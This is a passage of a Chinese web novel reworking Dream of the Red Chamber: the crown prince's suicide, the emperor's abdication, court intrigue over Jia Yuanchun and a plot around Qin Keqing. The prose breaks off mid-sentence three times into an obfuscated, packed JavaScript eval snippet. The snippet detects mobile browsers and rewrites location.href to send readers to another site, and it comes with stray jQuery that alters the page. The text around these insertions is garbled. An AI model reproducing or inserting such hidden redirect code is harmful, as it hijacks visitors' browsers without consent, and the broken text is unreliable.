“父皇息怒,儿臣以为那个女人掌管的,不只是大哥的暗卫。”三王爷顶着盛怒,从怀里掏出折子。折子上,是这三日紧急查出来的所有消息汇总。 大殿里只有三人,戴权小心翼翼地上前接过折子,毕恭毕敬地放到皇上的御案上。 隆昌帝深吸几口气,颤抖着手翻开折子,御书房鸦雀无声,只有皇上翻动折子的唰唰声。半晌,隆昌帝才幽幽开口:“查清了吗?真有两方势力?” “查清了。”三王爷声音坚定,“暗卫们之间的培训都是有传承的。两方人马不论从行事,还是密语和接头的方法,都不同。显见不是一股势力。儿臣怀疑......” 三王爷抬头,见隆昌帝脸色愈发阴暗,咽了口唾沫,艰难地开口:“儿臣怀疑,另一股势力是前朝余孽。” 已然开了口,接下来就顺利许多,三王爷继续道:“前些年,西南边境的陈留王余孽没清除干净,而这两年南海的海匪越来越多,也越来越难对付,每年兵部的银子一大半都拨到了南海。儿臣怀疑是陈留王余孽南下作乱所致。儿臣给那陈留王的旧臣看过秦氏的画像,说是有几分相像,儿臣怀疑那秦氏的母亲,八成跟陈留王有关。” 隆昌帝眼神越来越冷厉,这些事,太子知道吗? “继续查,南海的船撤回来吧。邬有道死了,南海那边没了掣肘,只怕已经打草惊蛇了。另外......”隆昌帝的声音干涩,听上去有几分萧索,“东宫盯紧了,这几日只怕会有动作。甄家那边的钉子该启用了。当年甄家接驾四次,有两次都让太子留下了子嗣,朕就不信甄家不知道。” 戴权的头越埋越低。甄家是皇上的亲信,是皇上在皇子时就倚仗的老臣了,如今连甄家都出了问题,只怕最难受的就是皇上了吧? 等三王爷退下后,就见皇上肩膀都塌了,第一次露出老态。皇上今年有五十五了吧?甄贵妃早年投靠了太子,如今,连甄家都放弃了皇上,为未来筹谋了。 “朕,是不是老了?”一道苍凉的声音在御书房响起,吓得戴权慌忙跪下,冷汗一滴滴落在地板上,啪嗒啪嗒,在寂静的御书房显得格外刺耳。 “权利就是这么迷人。”隆昌帝听着心腹太监擂如鼓点的心跳声,以及冷汗滴在地板上的声响,呵呵笑道,“朕给他们家的已经够多了,他们还不满足。呵呵,朕可以给他们,也可以收回来。不是每个人,都值得朕亲自动手的。甄家,不过是奴才罢了。” 甄家第一代家主,早年是隆昌帝潜邸的幕僚,颇能放下身段,让当家主母做了府里大公子如今太子的奶娘。如果太子能顺利继位,算是跟两代君王都有牵扯。 可甄家不满足,竟想让第三代君王,也靠着他们! 野心太大,偏没有与野心相匹配的实力,被前朝余孽算计,或是和前朝余孽同流合污,真真好个忠心的奴才! 御书房回荡着隆昌帝的冷笑,长长的甬道另一侧,被幽闭的东宫内,太子久久地坐在书桌后,看着信件默默无言。灯烛摇曳,太子模糊的背影映照在白墙上,鬼魅阴森。 “父皇,儿臣虽混账,却也是被甄家害了。”良久,太子幽幽叹口气,“您养的狗,弑主了。” 空荡荡的书房响起癫狂地笑声,太子不去管笑出的眼泪,喃喃道:“逼孤造反?呵呵,孤可不是那么好算计的。父皇想名正言顺地废孤,孤的孩子想让孤自断臂膀。孤生下来就是太子,是我想做太子的吗?是你们让孤做太子,孤做了太子应该做的事,却又怪孤插手朝政。如今孤再次造反,怎么也得拉着他们陪葬才行。” 太子身后的小内侍瑟瑟发抖,如果之前还能妄想活着出去,如今是无论如何也出不去了。 - 邬桐四人在甘泉寺呆了四日方启程,马车却在城门口堵住了,守门的兵士一声声高喊:“京中戒严,这几日只出不进,各位请回。” 掀开车帘,邬桐看着城门口戒备森严的兵马,知道京里出事了。邬杨机灵,远远听到声响,也不靠近,调转马头就向甘泉寺的方向狂奔。 京城有四个城门,如今东门滞留的人马就极多,如果不快点,他们晚上睡觉的地方可能都没了。 黄骠马发足狂奔,马车内,林黛玉紧紧拉住邬桐的手臂。她虽对朝政不了解,也知道京城戒备意味着什么。 这几年边关还算平稳,很多年都没战事了,好端端戒备起来,只能是宫里出事了。他们在城外还好说,外祖母他们就在城内,万一城内有异动...... 邬桐知道林黛玉聪慧,出言安慰道:“妹妹别怕,京城有五城兵马司,西郊驻扎着御林军,皇城内还有禁卫军,出不了大乱子。” 虽这么说着,邬桐也在为柳琼担心。这可是个肩不能扛手不能提的主儿,独自在京城里不知道怎么害怕呢。 这可是白操心了,柳琼才没害怕呢,不过有些担心就是了。从甘泉寺回来这几日,京城街道上频繁有兵马来回跑动,虽惹眼了些,但以前也不是没有过,很多人都没当一回事。 柳琼则不然,《红楼梦》这本书他是吃透了的,当然知道里面有太上皇。算算时间,太子造反,皇上传位成为太上皇应该不远了。 可皇上为什么好端端的禅位呢?除了被太子气病了紧急下诏外,只能是醒来后为了保住太子一脉的骨血,跟后来的皇上做了交易。 从秦可卿那场极为宏大的丧礼来看,无论是皇上还是太上皇,都没有追究太子后辈儿的责任。那只能是如此了。 皇上毕竟是太子的生父,虎度尚且不食子,更何况精心教养了三十余年的太子?皇上在位时固然不会杀太子的孩子,可一旦他死了呢?难保后面继位的人不会为了免除后患斩草除根。 皇上为了这个原因禅位让权,听着有些不可思议,但排除了所有不可能,这个,应该就是最合理的解释了。 夜晚,明月高悬,凉风习习。 偌大的皇宫,太子的又一次造反就像是儿戏。 近二十名膀大腰圆的內侍,手举长柄弯刀,团团围住太子,却不敢近前。太子一身家常的雪青云纹长衫,袍角在烈风中簌簌作响。 只见太子挺直脊背,阔步向御书房走去,左右手各提着一个人头,滴滴答答,是鲜血滴在地上的声音。 长长的,红墙黄瓦的甬道后,是鲜血染红的通往御书房的路。 奉命看守东宫的禁卫军首领被太子的气势所迫,带着人步步后退。太子还没废,他只是奉命看守,自然不敢出手伤人,一步步退着,跟着,竟像是护送太子去见皇上一般。 甬道内寂静无声,鲜血砸在地上,细小轻微,却如重鼓,一声声敲击着众人的耳膜。 远处的御书房外,灯火通明。 太子眯了眯眼,似是不适应这光线。来至近前,他也不进去,将人头一把掷到地上,两个血糊糊的人头咕噜噜滚到禁卫军首领脚前。 太子直直地跪下。 “父皇,这是前朝余孽在皇宫的奸细,儿臣都斩杀干净了。今日拼死出东宫,是为了告诉父皇,儿臣就算是造反,也是造我们大周王朝的反,不是想为前朝张目。儿臣姓赵,一辈子都姓赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15122609|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 说着咣咣咣狠命地磕了三个头,直磕的额头鲜血汩汩流出,太子半点不在意,拔出箭袖中的匕首。 禁卫军见状,刷刷刷抽出长剑,集体挡在御书房门前。 太子呵呵笑两声,扬声道:“父皇,是儿臣枉为人子,下辈子儿臣再报答父皇的爱护之情。” 不给人任何反应的机会,太子猛地将匕首横在颈前,惨然一笑,脖子上出现一道细细长长的划痕,大周王朝的太子殿下,就这么软软地倒了下去。 嫡次子,四王爷保宁第一个冲出来,看到一直奉若神祗的大哥就这么死了,眼眶通红,直直跪了下去。 隆昌帝在內侍的搀扶下,趔趄着迈出门槛,见到这一幕,直直往后栽。后面跟随的三王爷一个箭步上前,才没让皇上出事。只是隆昌帝眼睛发直,嘴唇颤抖,许久都说不出话。 戴权不用人吩咐,就往太医院狂奔。这时候皇上再出事,他的小命儿就没了。 太医院院正也不用人催,见御书房秉笔大太监跑得跟狗撵似的,这肯定是大事儿啊。竟是半点儿不比戴权跑得慢。直到将隆昌帝脑袋上插满了银针,年过半百的皇帝这才幽幽醒转。 太子这是在用命逼他啊,半晌,隆昌帝才颤抖地伸出手,抓住三王爷的手臂起身,缓缓转身回了御书房。 “父皇。”三王爷保安和四王爷保宁双双跪在地上,等着皇上的旨意。 许久,就在两位王爷怀疑父皇又晕了时,隆昌帝才艰难地开口,声音有些含混:“太子保国荒淫无度,行为不端,性格乖张,悖逆纲常,不堪继位,今废之。” 院正低着头,他知道,皇帝这是中风了。如今还不太严重,可如果继续劳心劳力,只怕以后说话都会不清楚。 隆昌帝闭上眼睛,满心的悲哀。太子能反,能想着取而代之,他却不忍心杀太子。要不是太子自尽,那一府的妇孺他不会都留下,可明天呢?他死了呢? “另,立太子嫡子为暇郡王,开府别居,无事不得出府。其余子嗣贬为庶人,即刻前往皇陵赎罪。太子府女眷一律贬为官奴,发配漠北开荒,永世不得赦免。” 嫡次子,四王爷保宁忍住内心的酸涩,看着上首满头白发的父皇,终是低下头,不发一言。父皇这是想保住太子一脉的传承。太子嫡子圈在府里,是让未来君王安心;而其余孩子在皇陵守灵,如果作乱,世人都看着呢,这是不孝,是不敬先祖。 “拟旨。”隆昌帝颤抖着手,双拳已经握不紧了,罢了,他闭了闭眼,扬声道,“朕当政近四十年,今禅位给嫡次子保宁。着内务府翻新东城外的行宫,禅位大典后朕和后宫,即刻搬出紫禁城。” 保宁震惊地抬起头,就见隆昌帝闭着眼,继续说道:“传朕最后一条政令,擢升王子腾为两江巡抚,接旨后即日赴任。宣林如海回京。” 良久,隆昌帝睁开眼,看着四子保宁,语重心长地道:“甄家在江南势大,不可心急。放王子腾过去钳制,让他们狗咬狗,你在京城遥控棋盘即可。林如海是忠臣,这么多年为朝廷征收盐税,没出过差子,回京后如何,这个恩典你来给。笼络朝臣,制衡朝臣,钳制朝臣,是朕最后给你上的最后一课。好了,你和老三去收拾吧。今日太子暴毙,将之前太子秋猎造反一事广而告之,让天下人和南海那群余孽知道,这天下,是你堂堂正正得来的。太子一脉,已经不是正统了。” “谢父皇。”保宁恭恭敬敬地给隆昌帝磕了一个头。父皇不相信他会善待大哥一家,用禅位的方式让他做出承诺。虽然有些憋屈,他却不得不接着。 也许等真的坐上了那个位子,才能知道父皇到底为何这么不信任儿子们吧。 16.贾元春 外面纷纷扰扰,没个安宁。邬桐却在反思,自穿越以来,是不是受了太多原作的影响,整日围绕着众位主角转,每日琢磨的也是剧情走向。 可这跟她关系大吗?在古代,她就是一介女流,柳琼虽是男人,可他再能耐,也当不上皇帝。如今又不是乱世,造反只能是乱臣贼子,人人得而诛之。 那整日琢磨剧情走向,好像真没什么用。 林如海没死,林家不倒,他们几人的命就不会出问题。好好过日子享受生活,才是最重要的。 当然,这些都是终于能够进京时,邬桐看着繁华如初的京城时的感慨。四人刚进家门不久,就有小内侍来林府传旨。 梳洗换装,摆香案,启中门跪接,一溜儿仪式下来,才知道,林如海不日就要回京,并被认命为一品大学士,兼内阁大臣,总理朝中诸事。 本朝没有宰相,但林如海如今的权势,几乎与宰相等同了。接旨后一水儿的太监宫娥,捧着赏赐鱼贯而入,珠宝、玉石、丝绸、金银,大大小小的摆满了供桌。 邬杨机灵,悄悄将一个鼓囊囊的藕香色荷包,塞给领头的主管太监,低声道:“不知内相贵姓,如何称呼?” 面白无须的太监,笑眯眯地将荷包密过来:“免贵姓吴。” “原来是吴内相,久仰久仰。”邬杨拱拱手,小声询问道,“不知旨意什么时候到江南?家父什么时候出发?” 吴公公是戴权的干儿子,自是知道太子死的那日发生了什么。林如海林大人是太上皇特意提到的人,还是太上皇留给皇上的老臣,他自是会给面子的:“大公子莫急,去江南传旨的天使已经坐船两日了,不出六日就能到达扬州,林大人不出一月就能回来了。” 这边宫人和林家气氛和乐,东宫里的女眷却抱着哭成一团。 昔日有宠的也就罢了,好些女官、女仆哭喊着冤枉清白之类的话,声音嘶哑,几近哀嚎,可围困的禁卫军们却一言不发。 角落里,贾元春发髻凌乱,身上绿色的女官服灰扑扑的,可她却浑不在意。她舔舔干裂的唇角,垂下眼睑。她不能去做官奴,贾家还等着她,祖母还盼着她恢复昔日的荣光呢。 她低着头,眼珠子滴溜溜转,蛰伏着等待时机。终于,在宫女们过来送饭时,她趁人不注意,抓住一个宫女的手,小声道:“我要见皇后,有关甄贵妃的事,事关重大,切记切记。” 虽不认识这个宫女,但这个时候能派人来送饭,那这人就必定是新帝信得过的。四王爷是嫡次子,太子被废后,他上台的机会最大。她此时给皇后卖个好,说不得能有希望。 四王爷上位后,四王妃就是名正言顺的皇后。可甄贵妃把持后宫近二十年,皇后想坐稳位子,就得尽快理顺后宫。她是贾家人,知道太多甄贵妃的事,少不得要说出些秘密,取信于皇后。 贾元春搜肠刮肚,想着怎么应对接下来的盘问,却不知皇上并没想让她去做官奴。太子被废,王子腾被派去江南,等和甄家对上,四王八公就算再无能,也必会觉察到什么。到时候打一棍子给一个甜枣,贾元春作为女人,是那颗最适合的甜枣。 “你想要什么?”长春宫内,香炉发出渺渺白烟,四王妃、未来的皇后一身正红卍字宫装,倚在宽大的黄花梨塌上,侧着身,用银质细长柄拨弄着香炉里的灰,状似不经意地开口。 贾元春愕然地抬头,没料到皇后说话如此直接。 皇后哼笑一声,将长柄放入一旁的托盘中,缓缓开口:“收起你的小聪明,皇上没想让你做官奴。本宫要治理后宫,也不需要你在这里指手画脚。以后就在我身边做女官吧,至于日后造化如何,端看贾家如何选择了。” 贾元春心中一凛,贾家之前是忠心太子的,太子是正统,这没错。至于造反,她担保父亲绝不会参与。皇后这是想警告她什么? 见贾元春低着头被人领出去,四王妃这才叹口气。 新帝保宁一身素白里衣,从百鸟朝凤的屏风后转出来,笑着对未来皇后拱手:“委屈柔儿了。这贾家女事关朝局,一时还不能废。” 皇后嗔新帝一眼:“我是那么善妒的人吗?要气早在王爷纳侧妃的时候就气死了,还能等到现在。这贾家女颇会审时度势,留着也无妨,就是怕日后......” 新帝保宁摸摸鼻子,尬笑两声道:“柔儿放心,贾家女不可能诞下皇儿。朕留她,只是为了安抚四王八公,让朕能放开手脚整治甄家。甄家倒了之后,才轮到四王八公。如果没有这颗甜枣吊着,只怕四王八公要在后面使乱子。” 两虎联合,自是轻易奈何不得。只能引得两虎相争,两败俱伤一起收拾。或者收买一方,收拾另一方,分而划之。贾元春就是引得一只虎袖手旁观的甜枣。 皇后点点头,自然明白新帝的打算。她起身,拉着皇上的手道:“时候不早了,早些歇着吧,明日还有的忙。颜儿十三了,虽然被封了暇郡王不能出府,但也该操持婚事了,皇上是怎么想的?” 保宁打了个呵欠,拍拍皇后的手:“你做主就行。” “其实,那贾家女就很好。虽然大五岁,但一个王妃的诰命,也算是能安抚四王八公了。”皇后试探着开口,不是她嫉妒,暇郡王俨然是不会成器的,能操持这一件婚事已经是皇上和太上皇的恩典了,至于侧妃就别想了。贾元春嫁过去就能掌管王府后宅,又没有其他能威胁地位的女人,其实日子是比在皇帝后宫舒服的。 保宁明白皇后的意思,开口道:“你问问她可愿意。颜儿是我们看着长大的,被关着已经够委屈他了,要是再娶个有二心的女人,可就对不起大哥了。大哥他......终究跟朕是一母同胞的亲兄弟。” 寿喜烛啪地爆出一个灯花,值夜的宫人慌忙跪下请罪。皇后叹口气,摆摆手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15132816|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让人下去。 贾元春一看就是个有大志向的,她看好的路,贾元春不一定会走。 果然,第二日询问时,焕然一新的贾元春当场跪下,直言道:“奴婢愿一辈子伺候皇后,不离皇后左右。” 一旁的大宫女心内冷哼一声,不识好歹的东西。娘娘就是心善,这种女人,合该发配才是。 皇宫外,贾家玄心了大半个月,终于等到了最终的消息,元春入皇后宫中做女官,贾母虽不待见王夫人,对元春是精心教养过的,接到圣旨后自是恨不得供起来。 东宫废了,元春能够从泥潭里挣脱,这份心性,日后定能有所作为。贾母正院里的气氛再度热闹起来,王熙凤觑着贾母的脸色,笑着恭维道:“不愧是自小跟着老太太长大的,这份造化可是我们八辈子都赶不上的。我啊,日后就什么也不管了,只管跟在老太太身边,能学上一分,也够我受用一辈子了。” 众人笑起来,王夫人也赔笑,只是脊背更加笔直。她知道侄女这是吃心了,前几日夺了她的管家权,这是想讨好贾母,再名正言顺地管家呢。再讨好贾母又如何,她才是元春的母亲。贾母再荣耀,也不敢拿她如何了。 “池子里的荷花都开了吧?凤丫头你受累,办个赏荷宴,把黛玉她们请来,云丫头也接过来,咱们自家在园子里乐呵一日。”说着,贾母拉住一旁宝钗的手,“宝丫头也来,大喜的日子,人多才热闹。就当自己家一样,别拘束。” 宝钗尴尬地笑笑,和母亲薛氏隐晦地对视一眼。他们母子三人来京城也大半年了,贾母这是在赶他们? 薛氏低头,拿起茶杯喝了一口。以前不走,是因为房子没收拾好,二是怕儿子在外面没人辖制,再跟着学坏。 可如今元春有了前程,宝钗就是为了采选才进京的,在贾家说不定有捷径可走,就是贾母再赶人,她也不能走的。 元春有十八九了吧?府里的女孩子,迎春怯懦不成事,探春和惜春年纪小,只有她的宝丫头,是最适合的媵女人选。宫里出来的嬷嬷都说,宝丫头要是进去,必有大造化的。 邬桐挥退贾家来送帖子的仆妇,让人把帖子给黛玉送去。这几日门房收到的帖子装了十几个箩筐,收到的表礼更是塞满了一个库房,她实在是没时间纠结贾家的事。 如何回礼,如何与人结交,才是她该关心的。日后柳琼科举出仕,少不得和官员内眷打交道。 且如今林如海升职回京,看似大权在握,她就算回礼不恰当,别人也不会计较什么,是最好的历练机会。 可她心底却隐隐不安。自来烈火烹油的权臣,有几个得了好的?帝王无情,能全身而退,就是天大的造化了。以前觉得林如海不死,林家就倒不了,此时看来还是天真了。 邬桐看着门房送过来的帖子和表礼名单,细细斟酌着回礼。不知不觉就到了贾家举办赏荷宴的日子。 17.荷花宴 能从太子的泥潭里挣脱,四王八公和朝中官员不是傻子,自然知道贾家女不凡,早早打发了人来暗示要帖子。贾母口中的家宴,立刻变成了四王八公和朝臣的赏花宴。 一大早,宁荣街上停满了各府的马车,直排到街外,堵了能有二里地。 不时有小丫鬟跳下马车,桃红柳绿,像一条条彩绸穿梭其中,为马车上的妇人小姐们传话。 “小姐说,进去要跟琳姐姐一起赏花呢。” “主子让我来找太太,说是一会儿有话要说。” 人叫马鸣,好不热闹。 众族人倚在门口,三五成群地看着络绎不绝的人群,满脸的与有荣焉。以前出了个东宫娘娘,贾家就热闹的不行,每日都有上门拜见的小官小吏。如今成了皇上的娘娘,举办赏花宴,王公侯爵都趋之若鹜。日后如何,还真是不敢想。 林家的马车一早被请进了府,荣国府的池塘占地颇大,有一亩地大小,阳光照下来,波光粼粼。池塘中央修了水榭,曲折的廊桥通向岸边。不远处,三层的八角雕花木楼,铜铃随风发出叮铃铃的声响。 邬桐坐在水榭的角落里,感慨无论何时,有钱都能过得舒服啊。 三层塔楼上,四个王妃不住地拉着贾宝玉的手,疼爱的眼神看得她直起鸡皮疙瘩。 上次赏花宴还皱眉不喜呢,这次就夸奖个没完,又是“面如朗月”,又是“知书识礼”,不过一个多月的时间,竟是换了个人一般。 王夫人看着王妃们身边带着的年龄相近的女孩子们,眼神扫来扫去。等元春诞下皇儿,宝玉就是最名正言顺的国舅。也只王府嫡女们,才配得上她的宝玉。 感觉到王夫人时不时看过来的不屑又得意的眼神,邬桐觉得好没意思。真当人人都稀罕宝玉啊。我家林妹妹,那可是神仙才能配的人物,一个宝玉,她还真没放在眼里。 有王妃坐镇,王熙凤也不敢放肆说笑,只在下面跟尤氏嘀咕:“你那里这两日可安生?家里有了前程,下面的人心思就活络了。偏我是最心慈手软的,别人说两句软话,我恨不能掏心掏肺。这不,才两日,爬床的丫头都两个了,也不知哪里寻摸过来的,打骂我是下不去手的,就都给养起来了。” 尤氏呵呵冷笑:“才两个?东院里有大志向的丫头多着呢,你要是嫌少,我送你几个。” 王熙凤也不恼,继续挤兑尤氏:“姐姐比我心宽,就是蓉哥儿媳妇也是个心慈的。我可听说,蓉哥儿媳妇身边的丫鬟都开脸了。” 尤氏眼中闪过一丝厌恶,恰巧平儿来跟王熙凤说话,王熙凤低头说话没瞧见,倒是不远处的邬桐瞧个正着。难道这时候,尤氏就察觉了丈夫和儿媳妇的奸情? 林黛玉在和探春说话,邬桐不动声色地在人群中寻找秦可卿的身影。 宁荣二府的荷花池子,数宁国府开得最好,因此这宴其实是在宁国府开的,作为当家的儿媳妇,秦可卿一刻也没闲着,调度下人,分派活计,半刻不得闲儿。 池塘里,四五艘青布小船,在田田的荷叶中穿梭,船娘一身靛蓝粗布衣衫,头发用同色的布巾裹着,胆大的小姐们带着丫鬟,坐在船上,去池塘中心摘莲花玩。 岸边,玩够了的小姐上岸,偏丫鬟没扶稳,小姐一脚踩进水里,湿了半边晚霞色的石榴裙。十一二岁的小姐扬手就给丫鬟一巴掌,横眉立目地好不威风。丫鬟跪在脚边不住地赔罪。 “那是北静王府家的小姐。”见邬桐侧着头瞧热闹,林黛玉小声道,“她对丫鬟最严厉,几个大丫鬟都怕她。” “可不是,好几次都在宴会上听到她训丫鬟的声音。”探春撇撇嘴,显然对这个王府小姐有些不屑。 几人说着话,秦可卿带着瑞珠、宝珠,笑眯眯地上前,也不知说了什么,那小姐扶着瑞珠向木楼走去。秦可卿亲自扶起那丫鬟,邬桐其实并没看到那丫鬟的动作,也没看到她塞什么东西给秦可卿,但她怀疑秦可卿,越看越觉得可疑。 木楼上,北境王妃瞧见,只不言语,她这个女儿自来跋扈些,在外也不知道收敛。北静王妃扭过脸,仍旧和贾宝玉说话:“有空去家里说话,溶儿早想着你呢,偏今儿不得空,圣人召见,不然今日也能见一见。” 水溶是北静王府世子,生得神仙一般的人物,今日独不得见,贾宝玉心中自是叹息,如今听到邀约,哪有不答应的,忙忙地满口应承下来。 王夫人却是无意中瞧见了岸边的那一幕,心中虽羡慕北静王府的富贵,但到底觉得王府小姐太过刁蛮了些,不是宝玉的良配。遂丢到一边,暗暗观察起其他的小姐们。 前院,贾家炙手可热,宴会不仅女眷来了,男客也不少。贾珍、贾蓉父子忙着在门口迎客,贾琏在正堂招待落座的贵客。 锦乡侯世子、川宁侯世子、寿山伯世子,镇国公次子,以及齐国公、修国公、治国公、缮国公、理国公家都派了人参加。其他诸如关系并不亲近的定城侯、襄阳侯、平原侯虽没来主子,但都派了有脸面的下人送来帖子,以示敬意。 贾琏让人上好茶好点心,听着下人一叠声的禀告,心内砰砰直跳。这恩典来得太容易,让他一时竟有些害怕。好容易平复心情,就见门口心腹小厮昭儿探头探脑,他打个哈哈出来,就听昭儿道:“蓉大奶奶派人来说,后院儿桌椅不够,得开前院儿的库房挪借挪借。” 贾琏皱眉,蓉哥儿媳妇怎么会派人来找他?想起市井的流言,他挥挥手:“带去见珍大哥,我又没有东府的库房钥匙,见我有何用。你可是越来越不会办事了。” 昭儿忙低下头,不敢再开口,退出去回话了。 贾琏看着人影渐渐消失,眉头越皱越紧。 - 一个月后,登基大典后,新帝更年号为永兴,新帝也就成了永兴帝。 永兴帝继位后的第一天,就收到了朝臣们递上来的充盈后宫的折子。午膳时,永兴帝当笑话一样讲给皇后听:“真是多少大事都不够忙的,甄贵妃这个女人也就这点手段了。” 皇后轻蔑地笑笑。她有两个儿子,就是再充盈后宫又如何?没看先太子被废,上位的还是嫡子吗?自古嫡庶有别,只有嫡子真的不堪大用,才会选择庶子继位。 她才不急呢。 大典前,太上皇沉浸在失去太子的悲痛中,无瑕去管内务府修行宫的事。甄贵妃手握权力近二十年,怎么会甘心去住到行宫,这不跟青灯古佛了此一生一样了嘛。她先是联络朝臣上奏充盈后宫的折子,恶心皇后,同时示意内务府拖延工期。 修行宫可不得购买料材嘛,今儿这个到的晚了些,明儿那个木料不足,拖延个把月完全没问题。因此登基大典后太上皇也没从乾清宫搬出去。永兴帝及后宫仍在东宫带着,不得寸进。 不过太上皇伤心够了,如今应该也琢磨过味儿来了。不用永兴帝出手,甄贵妃的好日子也到头了。 果然,甄贵妃和太上皇的其他后宫嫔妃被打包送进了行宫,太上皇有旨,甄贵妃不是想管事嘛,那就亲自监督内务府修建行宫。 刚办过风光的赏荷宴,贾家正房难得静悄悄的。老太太和王夫人对坐,脸上有些灰败。元春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“前朝余孽最早的一个据点,就是姑苏城的葫芦庙。姑苏和扬州的女子是最适合安插作为探子的。据臣弟调查,这两年京中权贵纳南边女子为妾氏的极多。之前他们密谋时,左近的举子甄士隐恰巧路过,为了以防他听到什么要紧的话,前朝余孽制造了火灾,并拐走了甄士隐的女儿,让他无瑕他顾。之后将据点安置在了京城,估计是觉得最危险的地方就是最安全的。在京城的探子,以冷子兴为首,直接听命于秦可卿。” 三王爷将这几日的调查一一说给永兴帝:“贾府内的贾蔷跟冷子兴有接触,但他应该不知道冷子兴是前朝余孽,只以为他是甄家的人。因为秦可卿的母亲出自甄府,这是大家都知道的,因此他只以为是甄家为了笼络秦可卿,特意派了冷子兴过来。贾蔷凑上去,八成是为了甄家的钱财。他这几年给冷子兴办事,前前后后赚了有上万的银子,已经完全陷进去了。臣怀疑,秦可卿下一步,就是跟贾蔷亮明身份,逼迫贾蔷为她办事。” “有何证据?”永兴帝言简意赅,直指要害。 “皇上您还记得当年贾家在江南接驾时,是负责什么的吗?” 三王爷忠顺亲王半边屁股坐在小几上,不等皇上回答就道,“当年贾府在扬州监造海舫,修理海塘,而王家负责接待各国进贡朝贺的人,这都是可以做文章的地方。臣猜测,贾家手上有坚船图纸,而秦可卿嫁入贾家,为的就是这个图纸。” 永兴帝腾地站起来,用力过大,连沉重的金丝楠木龙椅都发出了声响。他却全然不顾,焦急地在御书房踱步,半晌才停下,他沉声道:“秦可卿的生母是何人?” “昔日前朝余孽陈留王的胞妹。” 永兴帝一拳砸在墙上,咬牙道:“走,去见父皇。” 18.死亡 乾清宫,父子三人对坐,气氛却异常沉重。 “启禀太上皇,启禀皇上,臣等到清虚观时,贾敬......贾敬就死了。”黑暗处,一名暗卫躬身答道。 贾敬是宁荣两府唯一的进士,是当之无愧的话事人。虽近几年龟缩在道观,但真正接触过隐秘的,只能是他。如今他死了,是不是说,图纸,真的丢了? 太上皇闭了闭眼睛。疏忽了,他没想到贾家这么大胆,连图纸都敢偷回府里,还没看管住。如果前朝余孽利用这图纸,在南海制造事端,如果北边异族同时发起战事,稳定了近二十年的朝廷,就乱了。 “父皇别急。”永兴帝沉吟片刻,开口道,“前朝余孽目前只送出去一个孩子,可知他们实力有限。儿臣倒是觉得,反正那个孩子已经构不成威胁了,咱们完全可以放开手脚,趁这次将京城的人手都缉拿了,震慑那些魑魅魍魉。” “那冷子兴开口了?” “快了。儿臣找到了他在通州的家眷,想来不久就会吐口。”忠顺王答道。 “贾家没插手?”太上皇掀起眼皮儿,冷笑道,“朕最是知道这些人。整日说什么告他们造反都告不成的,比正经宗室还跋扈。” “冷子兴老丈人正拿着贾家的名帖到处撞庙门呢。”忠顺王撇撇嘴,不屑道。 太上皇看了皇上一眼,皇上会意,扬声叫贴身太监来福:“将消息透露给贾家女官,看她怎么做。” 甄家没处理干净前,贾家还不能倒。这时候贾家再出事,是要出乱子的。别到时候外患没来,内患先起了。 “秦可卿可以死,但是她是前朝余孽的事不能传出去。其它的你们看着办吧,让工部抓紧时间改进图纸。”太上皇起身,门外的戴权忙进来扶着。太上皇摆摆手,对着永兴帝道,“过两日朕就出宫了,你们忙吧。” 太上皇的身影渐渐消失,忠顺王呢喃:“老爷子真这么撒手了?” 永兴帝淡淡瞥了忠顺王一眼,忠顺王立马噤声。 两人心里清楚,父皇越这么干净利落地放权,他俩才越会对太子的后辈好。大哥做了三十多年的太子,临死前的一番话,彻底让父皇记住了他,也保住了一府后辈的命。 秦可卿就是傻,怎么会觉得一个没见过面的孩子,比一府的妇孺还重要呢? 半夜,宁国府正门洞开,柳琼站在黑压压的人群中,想着哪里出了问题。按时间线,贾敬不该这时候死才对。秦可卿还在呢,贾敬怎么就死了? 原主贾琼已经是出五服了,在族里的位置自然靠后,幸好正值夏季,夜里也不冷,柳琼和原主弟弟贾瑾站在人群里,听着宁国府当家人贾珍一叠声地吩咐。 贾蔷站在养父贾珍身后,低着头,身子忍不住地发抖。他昨日见过贾敬,是替弟妹秦氏送信儿的。他闭了闭眼,想起昨日秦可卿在天香楼告诉他的话。 “冷子兴被抓,他老丈人周瑞拿着荣国府的帖子也没能将人捞出来,可见事情不小。你跟他接触这么久,要不了两日,也会被抓进去的。目前能救你的只有清虚观的老太爷。老太爷毕竟当过官,在朝里怎么也有一两个得力帮手,你见了只管磕头求他搭救。” 声音还是那么婉转动人,可贾蔷回忆着女人的殷勤小意,却觉得骨头缝里都是冷的。当初他跟冷子兴接触,可是这个女人暗示的! 如今,再次听了她的话,老太爷,死了! 他从小父母双亡,是跟着贾珍长大的。如今因为他,害死了养父的生父,他虽然贪财好色,却真的没想过杀人。 秦可卿不论背后藏着什么不可告人的目的,都不能留了。贾蔷心里发狠,瞥了眼正房内跪着的女眷,大不了同归于尽,也算是偿还了昔日的养育之恩。 